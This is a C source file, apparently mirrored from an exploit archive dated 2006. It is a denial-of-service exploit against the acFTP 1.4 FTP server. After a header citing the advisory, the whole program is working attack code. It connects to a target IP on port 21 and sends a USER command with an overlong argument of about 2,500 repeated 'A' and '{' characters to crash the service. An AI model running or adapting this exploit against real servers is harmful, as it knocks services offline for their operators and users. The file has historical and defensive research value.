477bcbdcc0
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114 lines
2.4 KiB
C
Executable file
114 lines
2.4 KiB
C
Executable file
/**
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Exploit for : acFTP 1.4 DoS Exploit
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Advisory : http://secunia.com/advisories/19978/
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Coder : Omnipresent
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Email : omnipresent@email.it
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Description : Preddy has discovered a vulnerability in acFTP, which can be exploited by malicious people to cause a DoS (Denial of Service).
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The vulnerability is caused due to an error within the handling of the argument passed to the
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"USER" command. This can be exploited to crash the FTP server via an overly long argument that
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contains certain character sequences.
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The vulnerability has been confirmed in version 1.4. Other versions may also be affected.
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Date: 05/06/2006 - M/D/Y
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**/
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#ifdef _WIN32
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#include <winsock2.h>
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SOCKET sock;
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WSADATA wsaData;
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WORD wVersionRequested;
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#else
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#include <sys/socket.h>
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#include <netinet/in.h>
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#define INVALID_SOCKET -1
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#define SOCKET_ERROR -1
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int sock;
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#endif
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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int main(int argc, char **argv)
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{
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char buf[2505];
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struct sockaddr_in saddr;
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unsigned long ip;
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int i;
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if (argc != 2)
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{
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printf("acFTP 1.4 USER Command - DoS Exploit!\r\n");
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printf("Coded by OmniPresent - omnipresent@email.it\r\n");
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printf("acFTP 1.4 - DoS Exploit!rn");
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printf("Advisory: http://secunia.com/advisories/19978/");
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printf("%s <IP_Address>\r\n", argv[0]);
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exit(1);
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}
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ip = inet_addr(argv[1]);
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#ifdef _WIN32
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wVersionRequested = MAKEWORD(2, 2);
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if (WSAStartup(wVersionRequested, &wsaData) < 0)
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{
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printf("Unable to initialise Winsockr\n");
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exit(1);
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}
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#endif
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if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)
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{
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printf("Socket Error \n");
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exit(1);
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}
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memset(&saddr,'0', sizeof(saddr));
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saddr.sin_port = htons(21); //21 is the default port of acFTP service (change it if necessary)
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saddr.sin_family = AF_INET;
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memcpy(&saddr.sin_addr, (unsigned long *)&ip, sizeof((unsigned long *)&ip));
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if (connect(sock, (struct sockaddr *)&saddr, sizeof(saddr)) == SOCKET_ERROR)
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{
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printf("Connect Error \n");
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exit(1);
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}
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sleep(2);
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buf[0]='U';
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buf[1]='S';
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buf[2]='E';
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buf[3]='R';
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buf[4]=' ';
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i = 5;
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while (i < 2500) {
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buf[i] = 'A';
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i++;
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buf[i] = '{';
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i++;
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}
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strcat(buf, "\r\n");
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printf("%s\n",buf);
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send(sock, buf, sizeof(buf), 0);
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#ifdef _WIN32
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closesocket(sock);
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#else
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close(sock);
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#endif
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printf("DoS Attack Done!\n");
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}
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// milw0rm.com [2006-05-06]
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